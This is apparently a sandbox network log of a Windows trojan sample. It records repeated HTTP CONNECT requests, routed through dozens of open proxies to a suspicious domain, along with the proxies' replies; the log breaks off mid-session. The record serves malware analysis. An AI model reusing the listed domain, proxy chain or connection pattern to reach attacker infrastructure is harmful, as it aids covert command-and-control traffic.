Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1738	192.168.2.8	54365	72.217.158.202	4145	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:40.216919899 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1739	192.168.2.8	55004	52.172.1.186	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:40.235930920 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1740	192.168.2.8	55038	151.80.136.138	3128	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:40.246792078 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:40.882361889 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:41.491910934 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:42.679539919 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:44.789165974 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:46.991966963 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:49.194942951 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1741	192.168.2.8	54702	103.131.18.172	8080	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:40.247085094 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:43.460474014 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1742	192.168.2.8	55049	172.245.16.47	15673	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:40.247952938 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1743	192.168.2.8	54985	106.105.218.244	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:40.247952938 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1744	192.168.2.8	54074	177.53.221.89	44196	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:40.247957945 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1745	192.168.2.8	55033	52.172.1.186	3128	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:40.248586893 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:53.912585974 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1746	192.168.2.8	54315	183.78.143.142	28134	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:40.250176907 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:43.382477999 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:46.382993937 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:52.382584095 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:56.517281055 CET	39	IN	HTTP/1.0 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1747	192.168.2.8	55031	103.121.90.216	6546	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:40.267693996 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:40.991918087 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:41.991988897 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:43.992263079 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:47.882414103 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:51.679120064 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:55.491689920 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:29:03.069891930 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1748	192.168.2.8	55009	60.205.132.71	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:40.268399954 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:40.626626968 CET	172	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.4.4</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1749	192.168.2.8	54999	49.228.131.169	5000	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:40.268491983 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1750	192.168.2.8	54794	107.148.103.231	58394	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:40.268493891 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:43.382757902 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:46.382882118 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1751	192.168.2.8	55034	103.228.246.130	6060	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:40.269224882 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:40.991918087 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:42.065084934 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:44.164856911 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:45.608724117 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1752	192.168.2.8	54850	203.96.177.211	41524	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:40.339168072 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:43.398348093 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:46.492206097 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1753	192.168.2.8	55051	142.54.237.34	4145	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:40.340409040 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1754	192.168.2.8	55000	188.166.197.129	3128	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:40.342598915 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1755	192.168.2.8	54837	103.95.98.36	1088	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:40.343688011 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1756	192.168.2.8	55045	59.125.232.28	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:40.352482080 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1757	192.168.2.8	54859	178.128.82.105	2706	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:40.413214922 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:41.695137024 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:45.694967031 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:53.397983074 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:29:08.694699049 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:29:23.991612911 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1758	192.168.2.8	51609	141.94.174.6	25214	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:40.429935932 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1759	192.168.2.8	55060	79.110.197.144	8081	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:40.448338985 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1760	192.168.2.8	55063	31.43.33.55	4153	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:40.472642899 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1761	192.168.2.8	55079	172.245.16.47	15673	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:40.473839998 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1762	192.168.2.8	54332	160.16.105.145	8080	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:40.496079922 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:40.849905968 CET	648	IN	HTTP/1.1 400 Proxy Error Date: Fri, 23 Feb 2024 13:28:40 GMT Content-Length: 498 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 50 72 6f 78 79 20 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 50 72 6f 78 79 20 45 72 72 6f 72 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 54 68 65 20 70 72 6f 78 79 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 20 3c 65 6d 3e 3c 61 20 68 72 65 66 3d 22 2f 22 3e 43 4f 4e 4e 45 43 54 26 6e 62 73 70 3b 2f 3c 2f 61 3e 3c 2f 65 6d 3e 2e 3c 70 3e 0a 52 65 61 73 6f 6e 3a 20 3c 73 74 72 6f 6e 67 3e 55 52 49 20 63 61 6e 6e 6f 74 20 62 65 20 70 61 72 73 65 64 3a 20 77 73 3a 2f 2f 31 30 34 2e 31 39 38 2e 31 31 33 2e 31 36 37 3a 38 30 2f 3c 2f 73 74 72 6f 6e 67 3e 3c 2f 70 3e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 32 2e 31 35 20 28 43 65 6e 74 4f 53 29 20 53 65 72 76 65 72 20 61 74 20 68 65 79 67 69 72 6c 69 73 68 65 65 76 65 72 79 74 68 69 6e 67 79 6f 75 77 61 6e 74 65 64 69 6e 61 6d 61 6e 2e 63 6f 6d 20 50 6f 72 74 20 34 34 33 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Proxy Error</title></head><body><h1>Proxy Error</h1><p>Your browser sent a request that this server could not understand.<br />The proxy server could not handle the request <em><a href="/">CONNECT /</a></em>.<p>Reason: <strong>URI cannot be parsed: ws://104.198.113.167:80/</strong></p></p><hr><address>Apache/2.2.15 (CentOS) Server at heygirlisheeverythingyouwantedinaman.com Port 443</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1763	192.168.2.8	55050	103.213.97.74	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:40.496493101 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:40.875075102 CET	334	IN	HTTP/1.1 400 Bad Request Date: Fri, 23 Feb 2024 13:28:40 GMT Content-Type: text/html Content-Length: 204 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 74 65 6e 67 69 6e 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>tengine</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1764	192.168.2.8	55053	36.64.238.82	1080	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:40.564527988 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1765	192.168.2.8	55195	43.157.47.202	443	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:40.572925091 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1766	192.168.2.8	55201	43.157.47.202	443	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:40.573811054 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1767	192.168.2.8	55203	43.157.47.202	443	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:40.575980902 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1768	192.168.2.8	55205	43.157.47.202	443	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:40.577558041 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1769	192.168.2.8	55117	104.16.207.86	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:40.597661018 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:40.686130047 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 13:28:40 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1770	192.168.2.8	55156	172.67.181.20	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:40.621397018 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:40.711091995 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 13:28:40 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1771	192.168.2.8	51772	185.139.56.133	6961	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:40.626405954 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:43.694952011 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:46.695271015 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
